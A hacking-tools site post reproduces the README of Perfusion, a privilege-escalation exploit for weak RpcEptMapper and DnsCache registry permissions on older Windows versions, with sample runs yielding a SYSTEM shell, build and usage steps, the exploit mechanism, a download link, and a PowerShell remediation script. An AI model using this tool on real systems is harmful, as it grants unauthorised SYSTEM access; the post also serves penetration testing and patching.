• Home
  • Become a Hacker
    • Get Started
    • Hacker Mindset
    • Roadmap
    • Simple Setup – Hacker 101
    • Types of Hackers
    • Recommended Courses
  • Boot People Offline
  • Courses
    • All Hacking Courses
    • Cyber Security School
  • CTF
    • Beginners to Advanced Guide
    • Create your own CTF box
    • Field and Resources Guide
    • Platforms & Wargames
    • Tools Used for Solving CTF
    • Writeups
  • Dark Web
    • Beginners Guide
    • Darknet Markets
    • Darkweb 101 (Anonymity Guide)
    • Dark Web OSINT Tools
    • Hacking Forums
    • Latest News
    • Onion Links
  • Hacker Gadgets
  • Hacking Books
  • Tools Directory
Menu
  • Home
  • Become a Hacker
    • Get Started
    • Hacker Mindset
    • Roadmap
    • Simple Setup – Hacker 101
    • Types of Hackers
    • Recommended Courses
  • Boot People Offline
  • Courses
    • All Hacking Courses
    • Cyber Security School
  • CTF
    • Beginners to Advanced Guide
    • Create your own CTF box
    • Field and Resources Guide
    • Platforms & Wargames
    • Tools Used for Solving CTF
    • Writeups
  • Dark Web
    • Beginners Guide
    • Darknet Markets
    • Darkweb 101 (Anonymity Guide)
    • Dark Web OSINT Tools
    • Hacking Forums
    • Latest News
    • Onion Links
  • Hacker Gadgets
  • Hacking Books
  • Tools Directory
Search
Close
  • Home
  • 2021
  • February
  • 22
  • Perfusion – Exploit For The RpcEptMapper Registry Key Permissions Vulnerability (Windows 7 / 2088R2 / 8 / 2012)

Perfusion – Exploit For The RpcEptMapper Registry Key Permissions Vulnerability (Windows 7 / 2088R2 / 8 / 2012)

February 22, 2021 Comments Off on Perfusion – Exploit For The RpcEptMapper Registry Key Permissions Vulnerability (Windows 7 / 2088R2 / 8 / 2012)
Perfusion - Exploit For The RpcEptMapper Registry Key Permissions Vulnerability (Windows 7 / 2088R2 / 8 / 2012) cybersecurity ethical hacking hack android hack app hack wordpress hacker news hacking hacking tools for windows keylogger kit kitploit password brute force penetration testing pentest pentest android pentest linux pentest toolkit pentest tools spy tool kit spyware tools

[*]

On Windows 7, Windows Server 2008R2, Windows 8, and Windows Server 2012, the registry key of the RpcEptMapper and DnsCache (7/2008R2 only) services is configured with weak permissions. Any local user can create a Performance subkey and then leverage the Windows Performance Counters to load an arbitrary DLL in the context of the WMI service as NT AUTHORITYSYSTEM (hence the tool’s name).

This tool is intended to help security consultants during penetration tests. This software is provided as is, and I will probably not provide any support. Though, I tested it thoroughly on three different virtual machines so there should not be any significant issue.

For more information: https://itm4n.github.io/windows-registry-rpceptmapper-eop/  

Known issues

READ THIS BEFORE USING THIS TOOL

During the development phase of this tool, I observed two different behaviors:

  1. The DLL is loaded directly by the main process of the WMI service as NT AUTHORITYSYSTEM, in this case the exploit works perfectly fine.
  2. The DLL is loaded by a subprocess of the WMI service that runs as NT AUTHORITYLOCAL SERVICE. In this case, the service loads the DLL while impersonating the client. It turns out a privilege escalation is still possible on Windows 7 (because of another vulnerability) but the implementation cost was not worth the effort.

I am not able to explain this difference because my trigger code was always the same. Anyway, in either case, let the exploit do its job so that it can clean everything up when it’s done. If the exploit fails, there is still a chance it will work a few minutes or hours later though.

✔️

Here is what you should see when the exploit works:

C:Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:UsersLab-UserAppDataLocalTempperformance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:Temp>whoami
nt authoritysystem

C:Temp>
❌

Here is what you should see when the exploit fails:

C:Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:UsersLab-UserAppDataLocalTempperformance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.

C:Temp>

Build instructions

This solution is composed of two projects that need to be compiled in a specific order. Everything is pre-configured, so you just have to follow these simple instructions:

  1. Open the Solution with Visual Studio 2019
  2. Select Release / x64
  3. Build > Build Solution

Usage

You can check the help message using the -h option.

C:TOOLS>Perfusion.exe -h
_____ ___ _
| _ |___ ___| _|_ _ ___|_|___ ___
| __| -_| _| _| | |_ -| | . | | version 0.1
|__| |___|_| |_| |___|___|_|___|_|_| by @itm4n

Description:
Exploit tool for the RpcEptMapper registry key vulnerability.

Options:
-c <CMD> Command - Execute the specified command line
-i Interactive - Interact with the process (default: non-interactive)
-d Desktop - Spawn a new process on your desktop (default: hidden)
-h Help - That's me :)

Remediation / Patch

The following versions of Windows are vulnerable:

Windows version Vulnerable registry keys
Windows 7 RpcEptMapper, DnsCache
Windows Server 2008R2 RpcEptMapper, DnsCache
Windows 8 RpcEptMapper
Windows Server 2012 RpcEptMapper

As far as I know, this vulnerability will not be fixed by Microsoft, for some reason. The best solution is still to upgrade to Windows 10 / Server 2019 but if it is not a short-term option, you can still patch this issue yourself by removing the CreateSubKey permission for both NT AUTHORITYAuthenticated Users and BUILTINUsers on the following registry keys:

  • HKLMSYSTEMCurrentControlSetServicesRpcEptMapper
  • HKLMSYSTEMCurrentControlSetServicesDnsCache

I created a patch for this vulnerability in the form of a PowerShell script: RegistryPatch.ps1. This script removes the CreateSubKey right on the two above-mentioned registry keys for the following identities: NT AUTHORITYINTERACTIVE, BUILTINUsers and/or BUILTINAuthenticated Users.

  • Check if a machine is vulnerable: (Windows Server 2012 here)
PS C:Temp> . .RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLMSYSTEMCurrentControlSetServicesRpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITYAuthenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLMSYSTEMCurrentControlSetServicesRpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTINUsers" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
  • Apply the patch: (Windows Server 2008 R2 here)
PS C:Temp> . .RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose 
VERBOSE: Registry key: HKLMSYSTEMCurrentControlSetServicesRpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITYAuthenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLMSYSTEMCurrentControlSetServicesRpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTINUsers" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLMSYSTEMCurrentControlSetServicesRpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLMSYSTEMCurrentControlSetServicesDnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITYINTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInhe rited: False
VERBOSE: Registry key: HKLMSYSTEMCurrentControlSetServicesDnsCache
VERBOSE: Found a vulnerable ACE: "BUILTINUsers" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLMSYSTEMCurrentControlSetServicesDnsCache
VERBOSE: The new ACL was applied
True

How does this exploit work?

Below are the exploit steps that are implemented in this tool:

  1. A Process is created in the background in a suspended state (using the specified command line).
  2. The embedded payload DLL is written to the current user’s Temp folder.
  3. A Performance key is created under HKLMSYSTEMCurrentControlSetServicesRpcEptMapper and is populated with the appropriate values, including the full path of the DLL that was created at step 2.
  4. The WMI class Win32_Perf is created and invoked to trigger the collection of Windows Performance Counters.
  5. The DLL is loaded by the WMI service either as NT AUTHORITYSYSTEM or NT AUTHORITYLOCAL SERVICE.
  6. If the DLL is loaded by NT AUTHORITYSYSTEM, its Token is duplicated and is applied to the Process that was initially created by the user at step 1.
  7. Everything is cleaned up and the main Thread of the suspended Process is resumed.
Download Perfusion

Post navigation

Uchihash: deal with malware embedded hashes
Privescker: dumping all your common Windows enum, privesc and post exploitation scripts

Related Articles

Fake-Sms - A Simple Command Line Tool Using Which You Can Skip Phone Number Based SMS Verification By Using A Temporary Phone Number That Acts Like A Proxy

Fake-Sms – A Simple Command Line Tool Using Which You Can Skip Phone Number Based SMS Verification By Using A Temporary Phone Number That Acts Like A Proxy

- Hack Tools
March 2, 2021
OWASP ASST (Automated Software Security Toolkit) - A Novel Open Source Web Security Scanner

OWASP ASST (Automated Software Security Toolkit) – A Novel Open Source Web Security Scanner

- Hack Tools
March 2, 2021
URLs Deduplication Tool

uddup: URLs Deduplication Tool

- Hack Tools
March 2, 2021
hacker gadgets
hacker phone covers

Recent Posts

Fake-Sms - A Simple Command Line Tool Using Which You Can Skip Phone Number Based SMS Verification By Using A Temporary Phone Number That Acts Like A Proxy

Fake-Sms – A Simple Command Line Tool Using Which You Can Skip Phone Number Based SMS Verification By Using A Temporary Phone Number That Acts Like A Proxy

March 2, 2021
OWASP ASST (Automated Software Security Toolkit) - A Novel Open Source Web Security Scanner

OWASP ASST (Automated Software Security Toolkit) – A Novel Open Source Web Security Scanner

March 2, 2021
CVE-2020-1938: Apache Tomcat AJP Connector Remote Code Execution Vulnerability Alert

CVE-2021-25329: Apache Tomcat session code execution vulnerability alert

March 2, 2021
URLs Deduplication Tool

uddup: URLs Deduplication Tool

March 2, 2021
SnitchDNS

SnitchDNS: Database Driven DNS Server

March 2, 2021
Halogen - Automatically Create YARA Rules From Malicious Documents

Halogen – Automatically Create YARA Rules From Malicious Documents

March 1, 2021

Social Media Hacking

SocialPath – Track users across Social Media Platforms

SocialPath – Track users across Social Media Platforms

- Social Media Hacking
October 16, 2019October 16, 2019

SocialPath is a django application for gathering social media intelligence on specific username. It checks for Twitter, Instagram, Facebook, Reddit...

SocialScan – Check Email Address and Username Availability on Online Platforms

SocialScan – Check Email Address and Username Availability on Online Platforms

June 17, 2019
Shellphish – Phishing Tool For 18 Social Media Apps

Shellphish – Phishing Tool For 18 Social Media Apps

June 10, 2019July 27, 2019
WhatsApp Hacking using QRLJacking

WhatsApp Hacking using QRLJacking

May 2, 2019May 19, 2019
How to Hack any Facebook Account with Z-Shadow

How to Hack any Facebook Account with Z-Shadow

April 26, 2019June 29, 2020
hacker buffs
ABOUT US

Haxf4rall is a collective, a good starting point and provides a variety of quality material for cyber security professionals.

Our primary focus revolves around the latest tools released in the Infosec community and provide a platform for developers to showcase their skillset and current projects.

COMPANY
  • Contact Us
  • Disclaimer
  • Hacker Gadgets
  • LANC Remastered
  • PCPS IP Puller
  • Privacy Policy
  • Sitemap
  • Submit your Tool
Menu
  • Contact Us
  • Disclaimer
  • Hacker Gadgets
  • LANC Remastered
  • PCPS IP Puller
  • Privacy Policy
  • Sitemap
  • Submit your Tool
Live Chat
RESOURCES
  • Attack Process
  • Become a Hacker
  • Career Pathways
  • Dark Web
  • Hacking Books
  • Practice Your Skills
  • Recommended Courses
  • Simple Setup – Hacker 101
Menu
  • Attack Process
  • Become a Hacker
  • Career Pathways
  • Dark Web
  • Hacking Books
  • Practice Your Skills
  • Recommended Courses
  • Simple Setup – Hacker 101
Get Started
TOOLBOX
  • Anonymity
  • Bruteforce
  • DoS – Denial of Service
  • Information Gathering
  • Phishing
  • SQL Injection
  • Vulnerability Scanners
  • Wifi Hacking
Menu
  • Anonymity
  • Bruteforce
  • DoS – Denial of Service
  • Information Gathering
  • Phishing
  • SQL Injection
  • Vulnerability Scanners
  • Wifi Hacking
Tools Directory

2014 – 2020 | Haxf4rall.com               Stay Connected:

Facebook
Twitter
Google-plus
Wordpress
Please wait...

Join Our Community

Subscribe now and get your free HACKERS HANDBOOK

Don't Worry ! You will not be spammed
SIGN UP FOR NEWSLETTER NOW